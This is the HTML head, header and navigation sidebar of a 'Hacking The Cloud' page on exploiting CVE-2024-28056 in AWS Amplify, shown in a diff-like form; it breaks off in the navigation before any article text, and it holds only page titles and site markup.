+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ rel=canonical><link href=../ rel=prev><link href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud"><meta property=og:description content="An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios - Hacking The Cloud"><meta property=twitter:description content="An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#background class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#unauthenticated-example class=md-nav__link> <span class=md-ellipsis> Unauthenticated Example </span> </a> <nav class=md-nav aria-label="Unauthenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#authenticated-example class=md-nav__link> <span class=md-ellipsis> Authenticated Example </span> </a> <nav class=md-nav aria-label="Authenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit_1 class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> 